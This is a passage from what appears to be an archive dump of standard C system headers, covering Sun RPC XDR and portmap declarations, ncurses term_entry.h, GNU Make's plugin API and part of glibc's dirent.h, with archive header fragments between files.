u_int len; * u_int pos; */ #define XDR_GETLONG(xdrs, longp) \ (*(xdrs)->x_ops->x_getlong)(xdrs, longp) #define xdr_getlong(xdrs, longp) \ (*(xdrs)->x_ops->x_getlong)(xdrs, longp) #define XDR_PUTLONG(xdrs, longp) \ (*(xdrs)->x_ops->x_putlong)(xdrs, longp) #define xdr_putlong(xdrs, longp) \ (*(xdrs)->x_ops->x_putlong)(xdrs, longp) #define XDR_GETBYTES(xdrs, addr, len) \ (*(xdrs)->x_ops->x_getbytes)(xdrs, addr, len) #define xdr_getbytes(xdrs, addr, len) \ (*(xdrs)->x_ops->x_getbytes)(xdrs, addr, len) #define XDR_PUTBYTES(xdrs, addr, len) \ (*(xdrs)->x_ops->x_putbytes)(xdrs, addr, len) #define xdr_putbytes(xdrs, addr, len) \ (*(xdrs)->x_ops->x_putbytes)(xdrs, addr, len) #define XDR_GETPOS(xdrs) \ (*(xdrs)->x_ops->x_getpostn)(xdrs) #define xdr_getpos(xdrs) \ (*(xdrs)->x_ops->x_getpostn)(xdrs) #define XDR_SETPOS(xdrs, pos) \ (*(xdrs)->x_ops->x_setpostn)(xdrs, pos) #define xdr_setpos(xdrs, pos) \ (*(xdrs)->x_ops->x_setpostn)(xdrs, pos) #define XDR_INLINE(xdrs, len) \ (*(xdrs)->x_ops->x_inline)(xdrs, len) #define xdr_inline(xdrs, len) \ (*(xdrs)->x_ops->x_inline)(xdrs, len) #define XDR_DESTROY(xdrs) \ if ((xdrs)->x_ops->x_destroy) \ (*(xdrs)->x_ops->x_destroy)(xdrs) #define xdr_destroy(xdrs) \ if ((xdrs)->x_ops->x_destroy) \ (*(xdrs)->x_ops->x_destroy)(xdrs) /* * Support struct for discriminated unions. * You create an array of xdrdiscrim structures, terminated with * a entry with a null procedure pointer. The xdr_union routine gets * the discriminant value and then searches the array of structures * for a matching value. If a match is found the associated xdr routine * is called to handle that part of the union. If there is * no match, then a default routine may be called. * If there is no match and no default routine it is an error. */ #define NULL_xdrproc_t ((xdrproc_t)0) struct xdr_discrim { int value; xdrproc_t proc; }; /* * In-line routines for fast encode/decode of primitve data types. * Caveat emptor: these use single memory cycles to get the * data from the underlying buffer, and will fail to operate * properly if the data is not aligned. The standard way to use these * is to say: * if ((buf = XDR_INLINE(xdrs, count)) == NULL) * return (FALSE); * <<< macro calls >>> * where ``count'' is the number of bytes of data occupied * by the primitive data types. * * N.B. and frozen for all time: each data type here uses 4 bytes * of external representation. */ #define IXDR_GET_INT32(buf) ((int32_t)IXDR_GET_U_INT32(buf)) #define IXDR_PUT_INT32(buf, v) IXDR_PUT_U_INT32((buf),((uint32_t)(v))) #define IXDR_GET_U_INT32(buf) (ntohl((uint32_t)*(buf)++)) #define IXDR_PUT_U_INT32(buf, v) (*(buf)++ = (int32_t)htonl((v))) #define IXDR_GET_LONG(buf) ((long)IXDR_GET_INT32(buf)) #define IXDR_PUT_LONG(buf, v) IXDR_PUT_U_INT32((buf),((uint32_t)(v))) #define IXDR_GET_BOOL(buf) ((bool_t)IXDR_GET_LONG(buf)) #define IXDR_GET_ENUM(buf, t) ((t)IXDR_GET_INT32(buf)) #define IXDR_GET_U_LONG(buf) ((u_long)IXDR_GET_U_INT32(buf)) #define IXDR_GET_SHORT(buf) ((short)IXDR_GET_INT32(buf)) #define IXDR_GET_U_SHORT(buf) ((u_short)IXDR_GET_U_INT32(buf)) #define IXDR_PUT_BOOL(buf, v) IXDR_PUT_INT32((buf),((int32_t)(v))) #define IXDR_PUT_ENUM(buf, v) IXDR_PUT_INT32((buf),((int32_t)(v))) #define IXDR_PUT_U_LONG(buf, v) IXDR_PUT_U_INT32((buf),((uint32_t)(v))) #define IXDR_PUT_SHORT(buf, v) IXDR_PUT_INT32((buf),((int32_t)(v))) #define IXDR_PUT_U_SHORT(buf, v) IXDR_PUT_U_INT32((buf),((uint32_t)(v))) /* * These are the "generic" xdr routines. */ extern bool_t xdr_void(XDR *, void *); extern bool_t xdr_int(XDR *, int *); extern bool_t xdr_u_int(XDR *, u_int *); extern bool_t xdr_long(XDR *, long *); extern bool_t xdr_u_long(XDR *, u_long *); extern bool_t xdr_short(XDR *, short *); extern bool_t xdr_u_short(XDR *, u_short *); extern bool_t xdr_bool(XDR *, bool_t *); extern bool_t xdr_enum(XDR *, enum_t *); extern bool_t xdr_array(XDR *, caddr_t *, u_int *, u_int, u_int, xdrproc_t); extern bool_t xdr_bytes(XDR *, char **, u_int *, u_int); extern bool_t xdr_opaque(XDR *, caddr_t, u_int); extern bool_t xdr_string(XDR *, char **, u_int); extern bool_t xdr_union(XDR *, enum_t *, char *, struct xdr_discrim *, xdrproc_t); extern bool_t xdr_char(XDR *, char *); extern bool_t xdr_u_char(XDR *, u_char *); extern bool_t xdr_vector(XDR *, char *, u_int, u_int, xdrproc_t); extern bool_t xdr_float(XDR *, float *); extern bool_t xdr_double(XDR *, double *); extern bool_t xdr_reference(XDR *, caddr_t *, u_int, xdrproc_t); extern bool_t xdr_pointer(XDR *, char **, u_int, xdrproc_t); extern bool_t xdr_wrapstring(XDR *, char **); extern unsigned long xdr_sizeof(xdrproc_t, void *); #define xdr_rpcprog xdr_u_int32 #define xdr_rpcvers xdr_u_int32 #define xdr_rpcprot xdr_u_int32 #define xdr_rpcproc xdr_u_int32 #define xdr_rpcport xdr_u_int32 /* * Common opaque bytes objects used by many rpc protocols; * declared here due to commonality. */ #define MAX_NETOBJ_SZ 2048 struct netobj { u_int n_len; char *n_bytes; }; typedef struct netobj netobj; extern bool_t xdr_netobj(XDR *, struct netobj *); extern bool_t xdr_int32(XDR *, int32_t *); extern bool_t xdr_u_int32(XDR *, uint32_t *); /* * These are the public routines for the various implementations of * xdr streams. */ /* XDR allocating memory buffer */ extern void xdralloc_create(XDR *, enum xdr_op); /* destroy xdralloc, save buf */ extern void xdralloc_release(XDR *); /* get buffer from xdralloc */ extern caddr_t xdralloc_getdata(XDR *); /* XDR using memory buffers */ extern void xdrmem_create(XDR *, caddr_t, u_int, enum xdr_op); /* XDR using stdio library */ extern void xdrstdio_create(XDR *, FILE *, enum xdr_op); /* XDR pseudo records for tcp */ extern void xdrrec_create(XDR *xdrs, u_int, u_int, caddr_t, int (*) (caddr_t, caddr_t, int), int (*) (caddr_t, caddr_t, int)); /* make end of xdr record */ extern bool_t xdrrec_endofrecord(XDR *, bool_t); /* move to beginning of next record */ extern bool_t xdrrec_skiprecord (XDR *xdrs); /* true if no more input */ extern bool_t xdrrec_eof (XDR *xdrs); /* free memory buffers for xdr */ extern void xdr_free (xdrproc_t, void *); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_XDR_H) */ gssrpc/pmap_clnt.h 0000644 00000006545 15246445046 0010217 0 ustar 00 /* @(#)pmap_clnt.h 2.1 88/07/29 4.0 RPCSRC; from 1.11 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * pmap_clnt.h * Supplies C routines to get to portmap services. */ #ifndef GSSRPC_PMAP_CLNT_H #define GSSRPC_PMAP_CLNT_H /* * Usage: * success = pmap_set(program, version, protocol, port); * success = pmap_unset(program, version); * port = pmap_getport(address, program, version, protocol); * head = pmap_getmaps(address); * clnt_stat = pmap_rmtcall(address, program, version, procedure, * xdrargs, argsp, xdrres, resp, tout, port_ptr) * (works for udp only.) * clnt_stat = clnt_broadcast(program, version, procedure, * xdrargs, argsp, xdrres, resp, eachresult) * (like pmap_rmtcall, except the call is broadcasted to all * locally connected nets. For each valid response received, * the procedure eachresult is called. Its form is: * done = eachresult(resp, raddr) * bool_t done; * caddr_t resp; * struct sockaddr_in raddr; * where resp points to the results of the call and raddr is the * address if the responder to the broadcast. */ GSSRPC__BEGIN_DECLS extern bool_t pmap_set(rpcprog_t, rpcvers_t, rpcprot_t, u_int); extern bool_t pmap_unset(rpcprog_t, rpcvers_t); extern struct pmaplist *pmap_getmaps(struct sockaddr_in *); enum clnt_stat pmap_rmtcall(struct sockaddr_in *, rpcprog_t, rpcvers_t, rpcproc_t, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval, rpcport_t *); typedef bool_t (*resultproc_t)(caddr_t, struct sockaddr_in *); enum clnt_stat clnt_broadcast(rpcprog_t, rpcvers_t, rpcproc_t, xdrproc_t, caddr_t, xdrproc_t, caddr_t, resultproc_t); extern u_short pmap_getport(struct sockaddr_in *, rpcprog_t, rpcvers_t, rpcprot_t); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_PMAP_CLNT_H) */ nfs/nfs.h 0000644 00000000027 15246445046 0006302 0 ustar 00 #include <linux/nfs.h> pg_config_ext.h 0000644 00000002367 15246445046 0007552 0 ustar 00 /* * Kluge to support multilib installation of both 32- and 64-bit RPMS: * we need to arrange that header files that appear in both RPMs are * identical. Hence, this file is architecture-independent and calls * in an arch-dependent file that will appear in just one RPM. * * To avoid breaking arches not explicitly supported by Red Hat, we * use this indirection file *only* on known multilib arches. * * We pay attention to include _only_ the original multilib-unclean * header file. Including any other system-header file could cause * unpredictable include-ordering issues (rhbz#1412274, comment #16). * * Note: this may well fail if user tries to use gcc's -I- option. * But that option is deprecated anyway. */ #if defined(__x86_64__) #include "pg_config_ext-x86_64.h" #elif defined(__i386__) #include "pg_config_ext-i386.h" #elif defined(__ppc64__) || defined(__powerpc64__) #include "pg_config_ext-ppc64.h" #elif defined(__ppc__) || defined(__powerpc__) #include "pg_config_ext-ppc.h" #elif defined(__s390x__) #include "pg_config_ext-s390x.h" #elif defined(__s390__) #include "pg_config_ext-s390.h" #elif defined(__sparc__) && defined(__arch64__) #include "pg_config_ext-sparc64.h" #elif defined(__sparc__) #include "pg_config_ext-sparc.h" #endif term_entry.h 0000644 00000021070 15246445046 0007117 0 ustar 00 /**************************************************************************** * Copyright (c) 1998-2015,2017 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Zeyd M. Ben-Halim <zmbenhal@netcom.com> 1992,1995 * * and: Eric S. Raymond <esr@snark.thyrsus.com> * * and: Thomas E. Dickey 1998-on * ****************************************************************************/ /* $Id: term_entry.h,v 1.55 2017/04/06 22:45:34 tom Exp $ */ /* * term_entry.h -- interface to entry-manipulation code */ #ifndef NCURSES_TERM_ENTRY_H_incl #define NCURSES_TERM_ENTRY_H_incl 1 /* *INDENT-OFF* */ #ifdef __cplusplus extern "C" { #endif #include <term.h> /* * These macros may be used by programs that know about TERMTYPE: */ #if NCURSES_XNAMES #define NUM_BOOLEANS(tp) (tp)->num_Booleans #define NUM_NUMBERS(tp) (tp)->num_Numbers #define NUM_STRINGS(tp) (tp)->num_Strings #define EXT_NAMES(tp,i,limit,index,table) (i >= limit) ? tp->ext_Names[index] : table[i] #else #define NUM_BOOLEANS(tp) BOOLCOUNT #define NUM_NUMBERS(tp) NUMCOUNT #define NUM_STRINGS(tp) STRCOUNT #define EXT_NAMES(tp,i,limit,index,table) table[i] #endif #define NUM_EXT_NAMES(tp) (unsigned) ((tp)->ext_Booleans + (tp)->ext_Numbers + (tp)->ext_Strings) #define for_each_boolean(n,tp) for(n = 0; n < NUM_BOOLEANS(tp); n++) #define for_each_number(n,tp) for(n = 0; n < NUM_NUMBERS(tp); n++) #define for_each_string(n,tp) for(n = 0; n < NUM_STRINGS(tp); n++) #if NCURSES_XNAMES #define for_each_ext_boolean(n,tp) for(n = BOOLCOUNT; (int) n < (int) NUM_BOOLEANS(tp); n++) #define for_each_ext_number(n,tp) for(n = NUMCOUNT; (int) n < (int) NUM_NUMBERS(tp); n++) #define for_each_ext_string(n,tp) for(n = STRCOUNT; (int) n < (int) NUM_STRINGS(tp); n++) #endif #define ExtBoolname(tp,i,names) EXT_NAMES(tp, i, BOOLCOUNT, (i - (tp->num_Booleans - tp->ext_Booleans)), names) #define ExtNumname(tp,i,names) EXT_NAMES(tp, i, NUMCOUNT, (i - (tp->num_Numbers - tp->ext_Numbers)) + tp->ext_Booleans, names) #define ExtStrname(tp,i,names) EXT_NAMES(tp, i, STRCOUNT, (i - (tp->num_Strings - tp->ext_Strings)) + (tp->ext_Numbers + tp->ext_Booleans), names) /* * The remaining type-definitions and macros are used only internally by the * ncurses utilities. */ #ifdef NCURSES_INTERNALS /* * see db_iterator.c - this enumeration lists the places searched for a * terminal description and defines the order in which they are searched. */ typedef enum { dbdTIC = 0, /* special, used by tic when writing entry */ #if NCURSES_USE_DATABASE dbdEnvOnce, /* the $TERMINFO environment variable */ dbdHome, /* $HOME/.terminfo */ dbdEnvList, /* the $TERMINFO_DIRS environment variable */ dbdCfgList, /* the compiled-in TERMINFO_DIRS value */ dbdCfgOnce, /* the compiled-in TERMINFO value */ #endif #if NCURSES_USE_TERMCAP dbdEnvOnce2, /* the $TERMCAP environment variable */ dbdEnvList2, /* the $TERMPATH environment variable */ dbdCfgList2, /* the compiled-in TERMPATH */ #endif dbdLAST } DBDIRS; #define MAX_USES 32 #define MAX_CROSSLINKS 16 typedef struct entry ENTRY; typedef struct { char *name; ENTRY *link; long line; } ENTRY_USES; struct entry { TERMTYPE2 tterm; unsigned nuses; ENTRY_USES uses[MAX_USES]; int ncrosslinks; ENTRY *crosslinks[MAX_CROSSLINKS]; long cstart; long cend; long startline; ENTRY *next; ENTRY *last; }; extern NCURSES_EXPORT_VAR(ENTRY *) _nc_head; extern NCURSES_EXPORT_VAR(ENTRY *) _nc_tail; #define for_entry_list(qp) for (qp = _nc_head; qp; qp = qp->next) #define MAX_LINE 132 #define NULLHOOK (bool(*)(ENTRY *))0 /* * Note that WANTED and PRESENT are not simple inverses! If a capability * has been explicitly cancelled, it's not considered WANTED. */ #define WANTED(s) ((s) == ABSENT_STRING) #define PRESENT(s) (((s) != ABSENT_STRING) && ((s) != CANCELLED_STRING)) #define ANDMISSING(p,q) \ { \ if (PRESENT(p) && !PRESENT(q)) \ _nc_warning(#p " but no " #q); \ } #define PAIRED(p,q) \ { \ if (PRESENT(q) && !PRESENT(p)) \ _nc_warning(#q " but no " #p); \ if (PRESENT(p) && !PRESENT(q)) \ _nc_warning(#p " but no " #q); \ } /* * These entrypoints are used only by the ncurses utilities such as tic. */ /* alloc_entry.c: elementary allocation code */ extern NCURSES_EXPORT(ENTRY *) _nc_copy_entry (ENTRY *oldp); extern NCURSES_EXPORT(char *) _nc_save_str (const char *const); extern NCURSES_EXPORT(void) _nc_init_entry (ENTRY *const); extern NCURSES_EXPORT(void) _nc_merge_entry (ENTRY *const, ENTRY *const); extern NCURSES_EXPORT(void) _nc_wrap_entry (ENTRY *const, bool); /* alloc_ttype.c: elementary allocation code */ extern NCURSES_EXPORT(void) _nc_align_termtype (TERMTYPE2 *, TERMTYPE2 *); /* free_ttype.c: elementary allocation code */ extern NCURSES_EXPORT(void) _nc_free_termtype2 (TERMTYPE2 *); /* lib_termcap.c: trim sgr0 string for termcap users */ extern NCURSES_EXPORT(char *) _nc_trim_sgr0 (TERMTYPE2 *); /* parse_entry.c: entry-parsing code */ #if NCURSES_XNAMES extern NCURSES_EXPORT_VAR(bool) _nc_user_definable; extern NCURSES_EXPORT_VAR(bool) _nc_disable_period; #endif extern NCURSES_EXPORT(int) _nc_parse_entry (ENTRY *, int, bool); extern NCURSES_EXPORT(int) _nc_capcmp (const char *, const char *); /* write_entry.c: writing an entry to the file system */ extern NCURSES_EXPORT(void) _nc_set_writedir (const char *); extern NCURSES_EXPORT(void) _nc_write_entry (TERMTYPE2 *const); extern NCURSES_EXPORT(int) _nc_write_object (TERMTYPE2 *, char *, unsigned *, unsigned); /* comp_parse.c: entry list handling */ extern NCURSES_EXPORT(void) _nc_read_entry_source (FILE*, char*, int, bool, bool (*)(ENTRY*)); extern NCURSES_EXPORT(bool) _nc_entry_match (char *, char *); extern NCURSES_EXPORT(int) _nc_resolve_uses (bool); /* obs 20040705 */ extern NCURSES_EXPORT(int) _nc_resolve_uses2 (bool, bool); extern NCURSES_EXPORT(void) _nc_free_entries (ENTRY *); extern NCURSES_IMPEXP void NCURSES_API (*_nc_check_termtype)(TERMTYPE *); /* obs 20040705 */ extern NCURSES_IMPEXP void NCURSES_API (*_nc_check_termtype2)(TERMTYPE2 *, bool); /* trace_xnames.c */ extern NCURSES_EXPORT(void) _nc_trace_xnames (TERMTYPE *); #endif /* NCURSES_INTERNALS */ /* * These entrypoints are used by tack. */ /* alloc_ttype.c: elementary allocation code */ extern NCURSES_EXPORT(void) _nc_copy_termtype (TERMTYPE *, const TERMTYPE *); /* lib_acs.c */ extern NCURSES_EXPORT(void) _nc_init_acs (void); /* corresponds to traditional 'init_acs()' */ /* free_ttype.c: elementary allocation code */ extern NCURSES_EXPORT(void) _nc_free_termtype (TERMTYPE *); #ifdef __cplusplus } #endif /* *INDENT-ON* */ #endif /* NCURSES_TERM_ENTRY_H_incl */ gnumake.h 0000644 00000005540 15246445046 0006362 0 ustar 00 /* External interfaces usable by dynamic objects loaded into GNU Make. --THIS API IS A "TECHNOLOGY PREVIEW" ONLY. IT IS NOT A STABLE INTERFACE-- Copyright (C) 2013-2016 Free Software Foundation, Inc. This file is part of GNU Make. GNU Make is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. GNU Make is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _GNUMAKE_H_ #define _GNUMAKE_H_ /* Specify the location of elements read from makefiles. */ typedef struct { const char *filenm; unsigned long lineno; } gmk_floc; typedef char *(*gmk_func_ptr)(const char *nm, unsigned int argc, char **argv); #ifdef _WIN32 # ifdef GMK_BUILDING_MAKE # define GMK_EXPORT __declspec(dllexport) # else # define GMK_EXPORT __declspec(dllimport) # endif #else # define GMK_EXPORT #endif /* Free memory returned by the gmk_expand() function. */ GMK_EXPORT void gmk_free (char *str); /* Allocate memory in GNU make's context. */ GMK_EXPORT char *gmk_alloc (unsigned int len); /* Run $(eval ...) on the provided string BUFFER. */ GMK_EXPORT void gmk_eval (const char *buffer, const gmk_floc *floc); /* Run GNU make expansion on the provided string STR. Returns an allocated buffer that the caller must free with gmk_free(). */ GMK_EXPORT char *gmk_expand (const char *str); /* Register a new GNU make function NAME (maximum of 255 chars long). When the function is expanded in the makefile, FUNC will be invoked with the appropriate arguments. The return value of FUNC must be either NULL, in which case it expands to the empty string, or a pointer to the result of the expansion in a string created by gmk_alloc(). GNU make will free the memory when it's done. MIN_ARGS is the minimum number of arguments the function requires. MAX_ARGS is the maximum number of arguments (or 0 if there's no maximum). MIN_ARGS and MAX_ARGS may not exceed 255. The FLAGS value may be GMK_FUNC_DEFAULT, or one or more of the following flags OR'd together: GMK_FUNC_NOEXPAND: the arguments to the function will be not be expanded before FUNC is called. */ GMK_EXPORT void gmk_add_function (const char *name, gmk_func_ptr func, unsigned int min_args, unsigned int max_args, unsigned int flags); #define GMK_FUNC_DEFAULT 0x00 #define GMK_FUNC_NOEXPAND 0x01 #endif /* _GNUMAKE_H_ */ dirent.h 0000644 00000030304 15246445046 0006214 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 5.1.2 Directory Operations <dirent.h> */ #ifndef _DIRENT_H #define _DIRENT_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types.h> #ifdef __USE_XOPEN # ifndef __ino_t_defined # ifndef __USE_FILE_OFFSET64 typedef __ino_t ino_t; # else typedef __ino64_t ino_t; # endif # define __ino_t_defined # endif # if defined __USE_LARGEFILE64 && !defined __ino64_t_defined typedef __ino64_t ino64_t; # define __ino64_t_defined # endif #endif /* This file defines `struct dirent'. It defines the macro `_DIRENT_HAVE_D_NAMLEN' iff there is a `d_namlen' member that gives the length of `d_name'. It defines the macro `_DIRENT_HAVE_D_RECLEN' iff there is a `d_reclen' member that gives the size of the entire directory entry. It defines the macro `_DIRENT_HAVE_D_OFF' iff there is a `d_off' member that gives the file offset of the next directory entry. It defines the macro `_DIRENT_HAVE_D_TYPE' iff there is a `d_type' member that gives the type of the file. */ #include <bits/dirent.h> #if defined __USE_MISC && !defined d_fileno # define d_ino d_fileno /* Backward compatibility. */ #endif /* These macros extract size information from a `struct dirent *'. They may evaluate their argument multiple times, so it must not have side effects. Each of these may involve a relatively costly call to `strlen' on some systems, so these values should be cached. _D_EXACT_NAMLEN (DP) returns the length of DP->d_name, not including its terminating null character. _D_ALLOC_NAMLEN (DP) returns a size at least (_D_EXACT_NAMLEN (DP) + 1); that is, the allocation size needed to hold the DP->d_name string. Use this macro when you don't need the exact length, just an upper bound. This macro is less likely to require calling `strlen' than _D_EXACT_NAMLEN. */ #ifdef _DIRENT_HAVE_D_NAMLEN # define _D_EXACT_NAMLEN(d) ((d)->d_namlen) # define _D_ALLOC_NAMLEN(d) (_D_EXACT_NAMLEN (d) + 1) #else # define _D_EXACT_NAMLEN(d) (strlen ((d)->d_name)) # ifdef _DIRENT_HAVE_D_RECLEN # define _D_ALLOC_NAMLEN(d) (((char *) (d) + (d)->d_reclen) - &(d)->d_name[0]) # else # define _D_ALLOC_NAMLEN(d) (sizeof (d)->d_name > 1 ? sizeof (d)->d_name : \ _D_EXACT_NAMLEN (d) + 1) # endif #endif #ifdef __USE_MISC /* File types for `d_type'. */ enum { DT_UNKNOWN = 0, # define DT_UNKNOWN DT_UNKNOWN DT_FIFO = 1, # define DT_FIFO DT_FIFO DT_CHR = 2, # define DT_CHR DT_CHR DT_DIR = 4, # define DT_DIR DT_DIR DT_BLK = 6, # define DT_BLK DT_BLK DT_REG = 8, # define DT_REG DT_REG DT_LNK = 10, # define DT_LNK DT_LNK DT_SOCK = 12, # define DT_SOCK DT_SOCK DT_WHT = 14 # define DT_WHT DT_WHT }; /* Convert between stat structure types and directory types. */ # define IFTODT(mode) (((mode) & 0170000) >> 12) # define DTTOIF(dirtype) ((dirtype) << 12) #endif /* This is the data type of directory stream objects. The actual structure is opaque to users. */ typedef struct __dirstream DIR; /* Open a directory stream on NAME. Return a DIR stream on the directory, or NULL if it could not be opened. This function is a possible cancellation point and therefore not marked with __THROW. */ extern DIR *opendir (const char *__name) __nonnull ((1)); #ifdef __USE_XOPEN2K8 /* Same as opendir, but open the stream on the file descriptor FD. This function is a possible cancellation point and therefore not marked with __THROW. */ extern DIR *fdopendir (int __fd); #endif /* Close the directory stream DIRP. Return 0 if successful, -1 if not. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int closedir (DIR *__dirp) __nonnull ((1)); /* Read a directory entry from DIRP. Return a pointer to a `struct dirent' describing the entry, or NULL for EOF or error. The storage returned may be overwritten by a later readdir call on the same DIR stream. If the Large File Support API is selected we have to use the appropriate interface. This function is a possible cancellation point and therefore not marked with __THROW. */ #ifndef __USE_FILE_OFFSET64 extern struct dirent *readdir (DIR *__dirp) __nonnull ((1)); #else # ifdef __REDIRECT extern struct dirent *__REDIRECT (readdir, (DIR *__dirp), readdir64) __nonnull ((1)); # else # define readdir readdir64 # endif #endif #ifdef __USE_LARGEFILE64 extern struct dirent64 *readdir64 (DIR *__dirp) __nonnull ((1)); #endif #ifdef __USE_POSIX /* Reentrant version of `readdir'. Return in RESULT a pointer to the next entry. This function is a possible cancellation point and therefore not marked with __THROW. */ # ifndef __USE_FILE_OFFSET64 extern int readdir_r (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result) __nonnull ((1, 2, 3)) __attribute_deprecated__; # else # ifdef __REDIRECT extern int __REDIRECT (readdir_r, (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result), readdir64_r) __nonnull ((1, 2, 3)) __attribute_deprecated__; # else # define readdir_r readdir64_r # endif # endif # ifdef __USE_LARGEFILE64 extern int readdir64_r (DIR *__restrict __dirp, struct dirent64 *__restrict __entry, struct dirent64 **__restrict __result) __nonnull ((1, 2, 3)) __attribute_deprecated__; # endif #endif /* POSIX or misc */ /* Rewind DIRP to the beginning of the directory. */ extern void rewinddir (DIR *__dirp) __THROW __nonnull ((1)); #if defined __USE_MISC || defined __USE_XOPEN # include <bits/types.h> /* Seek to position POS on DIRP. */ extern void seekdir (DIR *__dirp, long int __pos) __THROW __nonnull ((1)); /* Return the current position of DIRP. */ extern long int telldir (DIR *__dirp) __THROW __nonnull ((1)); #endif #ifdef __USE_XOPEN2K8 /* Return the file descriptor used by DIRP. */ extern int dirfd (DIR *__dirp) __THROW __nonnull ((1)); # if defined __OPTIMIZE__ && defined _DIR_dirfd # define dirfd(dirp) _DIR_dirfd (dirp) # endif # ifdef __USE_MISC # ifndef MAXNAMLEN /* Get the definitions of the POSIX.1 limits. */ # include <bits/posix1_lim.h> /* `MAXNAMLEN' is the BSD name for what POSIX calls `NAME_MAX'. */ # ifdef NAME_MAX # define MAXNAMLEN NAME_MAX # else # define MAXNAMLEN 255 # endif # endif # endif # define __need_size_t # include <stddef.h> /* Scan the directory DIR, calling SELECTOR on each directory entry. Entries for which SELECT returns nonzero are individually malloc'd, sorted using qsort with CMP, and collected in a malloc'd array in *NAMELIST. Returns the number of entries selected, or -1 on error. This function is a cancellation point and therefore not marked with __THROW. */ # ifndef __USE_FILE_OFFSET64 extern int scandir (const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (const struct dirent *), int (*__cmp) (const struct dirent **, const struct dirent **)) __nonnull ((1, 2)); # else # ifdef __REDIRECT extern int __REDIRECT (scandir, (const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (const struct dirent *), int (*__cmp) (const struct dirent **, const struct dirent **)), scandir64) __nonnull ((1, 2)); # else # define scandir scandir64 # endif # endif # if defined __USE_GNU && defined __USE_LARGEFILE64 /* This function is like `scandir' but it uses the 64bit dirent structure. Please note that the CMP function must now work with struct dirent64 **. */ extern int scandir64 (const char *__restrict __dir, struct dirent64 ***__restrict __namelist, int (*__selector) (const struct dirent64 *), int (*__cmp) (const struct dirent64 **, const struct dirent64 **)) __nonnull ((1, 2)); # endif # ifdef __USE_GNU /* Similar to `scandir' but a relative DIR name is interpreted relative to the directory for which DFD is a descriptor. This function is a cancellation point and therefore not marked with __THROW. */ # ifndef __USE_FILE_OFFSET64 extern int scandirat (int __dfd, const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (const struct dirent *), int (*__cmp) (const struct dirent **, const struct dirent **)) __nonnull ((2, 3)); # else # ifdef __REDIRECT extern int __REDIRECT (scandirat, (int __dfd, const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (const struct dirent *), int (*__cmp) (const struct dirent **, const struct dirent **)), scandirat64) __nonnull ((2, 3)); # else # define scandirat 